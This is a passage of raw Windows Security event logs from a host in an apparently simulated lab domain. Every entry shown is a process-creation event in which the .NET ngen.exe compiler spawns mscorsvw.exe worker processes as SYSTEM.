Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 8c8 -Pipe 8c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255248 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8cc -InterruptEvent 0 -NGENProcess 8c0 -Pipe 8c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255259 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 91c -InterruptEvent 0 -NGENProcess 920 -Pipe 928 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255258 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8f8 -InterruptEvent 0 -NGENProcess 920 -Pipe 900 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255257 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11dc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 918 -InterruptEvent 0 -NGENProcess 8dc -Pipe 8c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255256 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e4 -InterruptEvent 0 -NGENProcess 8dc -Pipe 8a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255255 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 900 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 90c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255262 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e0 -InterruptEvent 0 -NGENProcess 8b4 -Pipe 914 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255261 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8b4 -InterruptEvent 0 -NGENProcess 920 -Pipe 934 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255260 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x136c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e0 -InterruptEvent 0 -NGENProcess 920 -Pipe 92c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255264 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e4 -InterruptEvent 0 -NGENProcess 94c -Pipe 948 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255263 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x374 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 938 -InterruptEvent 0 -NGENProcess 8b4 -Pipe 940 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255267 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 91c -InterruptEvent 0 -NGENProcess 920 -Pipe 8dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255266 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 920 -InterruptEvent 0 -NGENProcess 94c -Pipe 8d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255265 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3f4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 91c -InterruptEvent 0 -NGENProcess 94c -Pipe 874 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255277 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb68 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 984 -InterruptEvent 0 -NGENProcess 96c -Pipe 93c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255276 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 990 -InterruptEvent 0 -NGENProcess 984 -Pipe 998 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255275 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x119c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9a0 -InterruptEvent 0 -NGENProcess 984 -Pipe 98c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255274 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9ac -InterruptEvent 0 -NGENProcess 970 -Pipe 9b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a 